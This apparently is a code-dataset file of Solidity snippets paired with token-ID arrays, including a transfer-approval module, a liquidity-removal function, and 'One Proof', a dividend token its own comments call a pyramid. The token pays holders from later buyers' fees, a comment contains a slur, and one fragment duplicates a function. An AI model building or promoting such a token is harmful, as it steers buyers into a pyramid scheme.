function isApprovedForAll(address owner, address operator)
public
view
override(ERC721, IERC721)
returns (bool)
{
IProxyRegistry proxyRegistry = IProxyRegistry(OPEN_SEA_PROXY_REGISTRY);
if (proxyRegistry.proxies(owner) == operator) return true;
return super.isApprovedForAll(owner, operator);
}
function totalSupply() public view override returns (uint256) {
return currentPublicAmount + currentReservedAmount;
}
function _safeMintMultiple(address recipient, uint256 amount) internal {
for (uint256 i = 0; i < amount; i++) {
_safeMint(recipient, totalSupply());
}
}
function _safeMintMultiple(address recipient, uint256 amount) internal {
for (uint256 i = 0; i < amount; i++) {
_safeMint(recipient, totalSupply());
}
}
function _baseURI() internal view override returns (string memory) {
return baseURI;
}
}
| 1,502,269 | [
1,
1315,
25152,
2881,
16,
10659,
432,
637,
641,
26599,
21,
16,
2872,
30,
713,
9951,
4238,
3844,
434,
1071,
2430,
6562,
3844,
434,
1071,
2430,
4238,
3844,
434,
8735,
2430,
6562,
3844,
434,
8735,
2430,
490,
474,
6205,
434,
1517,
1147,
261,
21,
512,
2455,
13,
4238,
3844,
434,
423,
4464,
1534,
1245,
1375,
81,
474,
20338,
445,
745,
10139,
434,
1517,
1147,
3098,
6682,
612,
434,
1375,
16351,
3098,
20338,
445,
3502,
1761,
69,
7659,
5438,
1758,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
1680,
361,
353,
14223,
6914,
16,
4232,
39,
27,
5340,
16,
467,
782,
361,
288,
203,
565,
555,
16811,
424,
5288,
87,
2747,
12,
11890,
5034,
3844,
16,
2254,
5034,
943,
6275,
1769,
203,
565,
555,
16811,
424,
5288,
87,
2747,
2173,
49,
474,
12,
11890,
5034,
3844,
16,
2254,
5034,
943,
6275,
2173,
49,
474,
1769,
203,
565,
555,
2288,
664,
4966,
41,
1136,
12,
11890,
5034,
460,
16,
2254,
5034,
1931,
41,
1136,
1769,
203,
565,
555,
348,
5349,
1248,
9217,
12,
11890,
5034,
2858,
16,
2254,
5034,
8657,
1769,
203,
203,
565,
2254,
5034,
1071,
11732,
272,
5349,
1685,
4921,
273,
2872,
22,
11984,
5718,
713,
31,
203,
203,
565,
2254,
5034,
1071,
11732,
943,
4782,
6275,
273,
16340,
713,
31,
203,
203,
565,
2254,
5034,
1071,
783,
4782,
6275,
31,
203,
203,
565,
2254,
5034,
1071,
11732,
943,
10435,
6275,
273,
11631,
31,
203,
203,
565,
2254,
5034,
1071,
783,
10435,
6275,
31,
203,
203,
565,
2254,
5034,
1071,
11732,
6205,
273,
374,
18,
4630,
25,
225,
2437,
31,
203,
203,
565,
2254,
5034,
1071,
11732,
943,
6275,
2173,
49,
474,
273,
4200,
31,
203,
203,
565,
533,
1071,
3849,
6835,
3098,
31,
203,
203,
565,
533,
2713,
1026,
3098,
31,
203,
203,
565,
1731,
24,
3238,
5381,
11391,
11300,
67,
734,
67,
6067,
2849,
1268,
67,
3098,
273,
374,
6554,
28,
69,
23,
72,
24,
7140,
31,
203,
203,
565,
1758,
2713,
5381,
11919,
67,
1090,
37,
67,
16085,
67,
5937,
25042,
273,
374,
6995,
6564,
5908,
557,
2
]
|
pragma solidity ^0.4.24;
import "./ITransferManager.sol";
import "openzeppelin-solidity/contracts/math/SafeMath.sol";
/**
* @title Transfer Manager module for manually approving or blocking transactions between accounts
*/
contract ManualApprovalTransferManager is ITransferManager {
using SafeMath for uint256;
//Address from which issuances come
address public issuanceAddress = address(0);
//Address which can sign whitelist changes
address public signingAddress = address(0);
bytes32 public constant TRANSFER_APPROVAL = "TRANSFER_APPROVAL";
//Manual approval is an allowance (that has been approved) with an expiry time
struct ManualApproval {
uint256 allowance;
uint256 expiryTime;
}
//Manual blocking allows you to specify a list of blocked address pairs with an associated expiry time for the block
struct ManualBlocking {
uint256 expiryTime;
}
//Store mappings of address => address with ManualApprovals
mapping (address => mapping (address => ManualApproval)) public manualApprovals;
//Store mappings of address => address with ManualBlockings
mapping (address => mapping (address => ManualBlocking)) public manualBlockings;
event AddManualApproval(
address indexed _from,
address indexed _to,
uint256 _allowance,
uint256 _expiryTime,
address indexed _addedBy
);
event AddManualBlocking(
address indexed _from,
address indexed _to,
uint256 _expiryTime,
address indexed _addedBy
);
event RevokeManualApproval(
address indexed _from,
address indexed _to,
address indexed _addedBy
);
event RevokeManualBlocking(
address indexed _from,
address indexed _to,
address indexed _addedBy
);
/**
* @notice Constructor
* @param _securityToken Address of the security token
* @param _polyAddress Address of the polytoken
*/
constructor (address _securityToken, address _polyAddress)
public
Module(_securityToken, _polyAddress)
{
}
/**
* @notice This function returns the signature of configure function
*/
function getInitFunction() public pure returns (bytes4) {
return bytes4(0);
}
/** @notice Used to verify the transfer transaction and allow a manually approved transqaction to bypass other restrictions
* @param _from Address of the sender
* @param _to Address of the receiver
* @param _amount The amount of tokens to transfer
* @param _isTransfer Whether or not this is an actual transfer or just a test to see if the tokens would be transferrable
*/
function verifyTransfer(address _from, address _to, uint256 _amount, bytes /* _data */, bool _isTransfer) public returns(Result) {
// function must only be called by the associated security token if _isTransfer == true
require(_isTransfer == false || msg.sender == securityToken, "Sender is not the owner");
// manual blocking takes precidence over manual approval
if (!paused) {
/*solium-disable-next-line security/no-block-members*/
if (manualBlockings[_from][_to].expiryTime >= now) {
return Result.INVALID;
}
/*solium-disable-next-line security/no-block-members*/
if ((manualApprovals[_from][_to].expiryTime >= now) && (manualApprovals[_from][_to].allowance >= _amount)) {
if (_isTransfer) {
manualApprovals[_from][_to].allowance = manualApprovals[_from][_to].allowance.sub(_amount);
}
return Result.VALID;
}
}
return Result.NA;
}
/**
* @notice Adds a pair of addresses to manual approvals
* @param _from is the address from which transfers are approved
* @param _to is the address to which transfers are approved
* @param _allowance is the approved amount of tokens
* @param _expiryTime is the time until which the transfer is allowed
*/
function addManualApproval(address _from, address _to, uint256 _allowance, uint256 _expiryTime) public withPerm(TRANSFER_APPROVAL) {
require(_to != address(0), "Invalid to address");
/*solium-disable-next-line security/no-block-members*/
require(_expiryTime > now, "Invalid expiry time");
require(manualApprovals[_from][_to].allowance == 0, "Approval already exists");
manualApprovals[_from][_to] = ManualApproval(_allowance, _expiryTime);
emit AddManualApproval(_from, _to, _allowance, _expiryTime, msg.sender);
}
/**
* @notice Adds a pair of addresses to manual blockings
* @param _from is the address from which transfers are blocked
* @param _to is the address to which transfers are blocked
* @param _expiryTime is the time until which the transfer is blocked
*/
function addManualBlocking(address _from, address _to, uint256 _expiryTime) public withPerm(TRANSFER_APPROVAL) {
require(_to != address(0), "Invalid to address");
/*solium-disable-next-line security/no-block-members*/
require(_expiryTime > now, "Invalid expiry time");
require(manualBlockings[_from][_to].expiryTime == 0, "Blocking already exists");
manualBlockings[_from][_to] = ManualBlocking(_expiryTime);
emit AddManualBlocking(_from, _to, _expiryTime, msg.sender);
}
/**
* @notice Removes a pairs of addresses from manual approvals
* @param _from is the address from which transfers are approved
* @param _to is the address to which transfers are approved
*/
function revokeManualApproval(address _from, address _to) public withPerm(TRANSFER_APPROVAL) {
require(_to != address(0), "Invalid to address");
delete manualApprovals[_from][_to];
emit RevokeManualApproval(_from, _to, msg.sender);
}
/**
* @notice Removes a pairs of addresses from manual approvals
* @param _from is the address from which transfers are approved
* @param _to is the address to which transfers are approved
*/
function revokeManualBlocking(address _from, address _to) public withPerm(TRANSFER_APPROVAL) {
require(_to != address(0), "Invalid to address");
delete manualBlockings[_from][_to];
emit RevokeManualBlocking(_from, _to, msg.sender);
}
/**
* @notice Returns the permissions flag that are associated with ManualApproval transfer manager
*/
function getPermissions() public view returns(bytes32[]) {
bytes32[] memory allPermissions = new bytes32[](1);
allPermissions[0] = TRANSFER_APPROVAL;
return allPermissions;
}
}
| * @notice Adds a pair of addresses to manual blockings @param _from is the address from which transfers are blocked @param _to is the address to which transfers are blocked @param _expiryTime is the time until which the transfer is blocked/ | function addManualBlocking(address _from, address _to, uint256 _expiryTime) public withPerm(TRANSFER_APPROVAL) {
require(_to != address(0), "Invalid to address");
require(_expiryTime > now, "Invalid expiry time");
require(manualBlockings[_from][_to].expiryTime == 0, "Blocking already exists");
manualBlockings[_from][_to] = ManualBlocking(_expiryTime);
emit AddManualBlocking(_from, _to, _expiryTime, msg.sender);
| 12,936,137 | [
1,
3655,
279,
3082,
434,
6138,
358,
11297,
1203,
899,
225,
389,
2080,
353,
326,
1758,
628,
1492,
29375,
854,
14547,
225,
389,
869,
353,
326,
1758,
358,
1492,
29375,
854,
14547,
225,
389,
22409,
950,
353,
326,
813,
3180,
1492,
326,
7412,
353,
14547,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
527,
25139,
8728,
12,
2867,
389,
2080,
16,
1758,
389,
869,
16,
2254,
5034,
389,
22409,
950,
13,
1071,
598,
9123,
12,
16596,
6553,
67,
2203,
3373,
2669,
13,
288,
203,
3639,
2583,
24899,
869,
480,
1758,
12,
20,
3631,
315,
1941,
358,
1758,
8863,
203,
3639,
2583,
24899,
22409,
950,
405,
2037,
16,
315,
1941,
10839,
813,
8863,
203,
3639,
2583,
12,
19840,
1768,
899,
63,
67,
2080,
6362,
67,
869,
8009,
22409,
950,
422,
374,
16,
315,
8728,
1818,
1704,
8863,
203,
3639,
11297,
1768,
899,
63,
67,
2080,
6362,
67,
869,
65,
273,
8660,
1462,
8728,
24899,
22409,
950,
1769,
203,
3639,
3626,
1436,
25139,
8728,
24899,
2080,
16,
389,
869,
16,
389,
22409,
950,
16,
1234,
18,
15330,
1769,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/42/0x4C8224dbf50d07A1A5985225e61B4Ff4C0e07Ee1/sources/contracts/CoverRouter.sol | @notice rollover for account | function removeLiquidityForAccount(address _account, ICoverERC20 _covToken, IERC20 _pairedToken, uint256 _bptAmount) public override {
require(_bptAmount > 0, "CoverRouter: insufficient covToken");
bytes32 pairKey = _pairKeyForPair(address(_covToken), address(_pairedToken));
IBPool pool = IBPool(pools[pairKey]);
require(pool.balanceOf(_account) >= _bptAmount, "CoverRouter: insufficient BPT");
uint256[] memory minAmountsOut = new uint256[](2);
minAmountsOut[0] = 0;
minAmountsOut[1] = 0;
pool.safeTransferFrom(_account, address(this), _bptAmount);
pool.exitPool(pool.balanceOf(address(this)), minAmountsOut);
_covToken.safeTransfer(_account, _covToken.balanceOf(address(this)));
_pairedToken.safeTransfer(_account, _pairedToken.balanceOf(address(this)));
emit RemoveLiquidity(_account, address(pool));
}
| 16,239,225 | [
1,
922,
21896,
364,
2236,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
1206,
48,
18988,
24237,
1290,
3032,
12,
2867,
389,
4631,
16,
467,
8084,
654,
39,
3462,
389,
14014,
1345,
16,
467,
654,
39,
3462,
389,
24197,
1345,
16,
2254,
5034,
389,
70,
337,
6275,
13,
1071,
3849,
288,
203,
565,
2583,
24899,
70,
337,
6275,
405,
374,
16,
315,
8084,
8259,
30,
2763,
11339,
10613,
1345,
8863,
203,
565,
1731,
1578,
3082,
653,
273,
389,
6017,
653,
1290,
4154,
12,
2867,
24899,
14014,
1345,
3631,
1758,
24899,
24197,
1345,
10019,
203,
565,
23450,
2864,
2845,
273,
23450,
2864,
12,
27663,
63,
6017,
653,
19226,
203,
565,
2583,
12,
6011,
18,
12296,
951,
24899,
4631,
13,
1545,
389,
70,
337,
6275,
16,
315,
8084,
8259,
30,
2763,
11339,
605,
1856,
8863,
203,
203,
565,
2254,
5034,
8526,
3778,
1131,
6275,
87,
1182,
273,
394,
2254,
5034,
8526,
12,
22,
1769,
203,
565,
1131,
6275,
87,
1182,
63,
20,
65,
273,
374,
31,
203,
565,
1131,
6275,
87,
1182,
63,
21,
65,
273,
374,
31,
203,
203,
565,
2845,
18,
4626,
5912,
1265,
24899,
4631,
16,
1758,
12,
2211,
3631,
389,
70,
337,
6275,
1769,
203,
565,
2845,
18,
8593,
2864,
12,
6011,
18,
12296,
951,
12,
2867,
12,
2211,
13,
3631,
1131,
6275,
87,
1182,
1769,
203,
203,
565,
389,
14014,
1345,
18,
4626,
5912,
24899,
4631,
16,
389,
14014,
1345,
18,
12296,
951,
12,
2867,
12,
2211,
3719,
1769,
203,
565,
389,
24197,
1345,
18,
4626,
5912,
24899,
4631,
16,
389,
24197,
1345,
18,
12296,
951,
12,
2867,
12,
2211,
3719,
1769,
2
]
|
pragma solidity ^0.4.21;
/*
* One Proof (Proof)
* https://oneproof.net
*
* Instead of having many small "proof of" smart contracts here you can
* re-brand a unique website and use this same smart contract address.
* This would benefit all those holding because of the increased volume.
*
*
*
*
* Features:
* [✓] 5% rewards for token purchase, shared among all token holders.
* [✓] 5% rewards for token selling, shared among all token holders.
* [✓] 0% rewards for token transfer.
* [✓] 3% rewards is given to referrer which is 60% of the 5% purchase reward.
* [✓] Price increment by 0.000000001 instead of 0.00000001 for lower buy/sell price.
* [✓] 1 token to activate Masternode referrals.
* [✓] Ability to create games and other contracts that transact in One Proof Tokens.
* [✓] No Administrators or Ambassadors that can change anything with the contract.
*
*/
/**
* Definition of contract accepting One Proof Tokens
* Other contracts can reuse the AcceptsProof contract below to support One Proof Tokens
*/
contract AcceptsProof {
Proof public tokenContract;
function AcceptsProof(address _tokenContract) public {
tokenContract = Proof(_tokenContract);
}
modifier onlyTokenContract {
require(msg.sender == address(tokenContract));
_;
}
/**
* @dev Standard ERC677 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint256 _value, bytes _data) external returns (bool);
}
contract Proof {
/*=================================
= MODIFIERS =
=================================*/
/// @dev Only people with tokens
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
/// @dev Only people with profits
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
modifier notContract() {
require (msg.sender == tx.origin);
_;
}
/*==============================
= EVENTS =
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "One Proof";
string public symbol = "Proof";
uint8 constant public decimals = 18;
/// @dev 5% rewards for token purchase
uint8 constant internal entryFee_ = 5;
/// @dev 5% rewards for token selling
uint8 constant internal exitFee_ = 5;
/// @dev 60% of entryFee_ (i.e. 3% rewards) is given to referrer
uint8 constant internal refferalFee_ = 60;
uint256 constant internal tokenPriceInitial_ = 0.00000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.000000001 ether;
uint256 constant internal magnitude = 2 ** 64;
/// @dev proof of stake just 1 token)
uint256 public stakingRequirement = 1e18;
/*=================================
= DATASETS =
================================*/
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/// @dev Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any)
function buy(address _referredBy) public payable returns (uint256) {
purchaseInternal(msg.value, _referredBy);
}
/**
* @dev Fallback function to handle ethereum that was send straight to the contract
* Unfortunately we cannot use a referral address this way.
*/
function() payable public {
purchaseInternal(msg.value, 0x0);
}
/// @dev Converts all of caller's dividends to tokens.
function reinvest() onlyStronghands public {
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
/// @dev Alias of sell() and withdraw().
function exit() public {
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/// @dev Withdraws all of the callers earnings.
function withdraw() onlyStronghands public {
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
emit onWithdraw(_customerAddress, _dividends);
}
/// @dev Liquifies tokens to ethereum.
function sell(uint256 _amountOfTokens) onlyBagholders public {
// setup data
address _customerAddress = msg.sender;
//
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update rewards tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
/**
* Transfer tokens from the caller to a new holder.
* No fee with this transfer
*/
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) {
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);
// fire event
emit Transfer(_customerAddress, _toAddress, _amountOfTokens);
// ERC20
return true;
}
/**
* Transfer token to a specified address and forward the data to recipient
* ERC-677 standard
* https://github.com/ethereum/EIPs/issues/677
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
* @param _data Transaction metadata.
*/
function transferAndCall(address _to, uint256 _value, bytes _data) external returns (bool) {
require(_to != address(0));
require(transfer(_to, _value)); // do a normal token transfer to the contract
if (isContract(_to)) {
AcceptsProof receiver = AcceptsProof(_to);
require(receiver.tokenFallback(msg.sender, _value, _data));
}
return true;
}
/**
* Additional check that the game address we are sending tokens to is a contract
* assemble the given address bytecode. If bytecode exists then the _addr is a contract.
*/
function isContract(address _addr) private constant returns (bool is_contract) {
// retrieve the size of the code on target address, this needs assembly
uint length;
assembly { length := extcodesize(_addr) }
return length > 0;
}
/*=====================================
= HELPERS AND CALCULATORS =
=====================================*/
/**
* @dev Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function totalEthereumBalance() public view returns (uint256) {
return address(this).balance;
}
/// @dev Retrieve the total token supply.
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
/// @dev Retrieve the tokens owned by the caller.
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* @dev Retrieve the dividends owned by the caller.
* If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations.
* The reason for this, is that in the frontend, we will want to get the total divs (global + ref)
* But in the internal calculations, we want them separate.
*/
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/// @dev Retrieve the token balance of any single address.
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
/// @dev Retrieve the dividend balance of any single address.
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/// @dev Return the sell price of 1 individual token.
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Return the buy price of 1 individual token.
function buyPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders.
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders.
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
function purchaseInternal(uint256 _incomingEthereum, address _referredBy)
notContract()// no contracts allowed
internal
returns(uint256) {
purchaseTokens(_incomingEthereum, _referredBy);
}
/// @dev Internal function to actually purchase the tokens.
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
// is the user referred by a masternode?
if (
// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement
) {
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if (tokenSupply_ > 0) {
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
// take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder
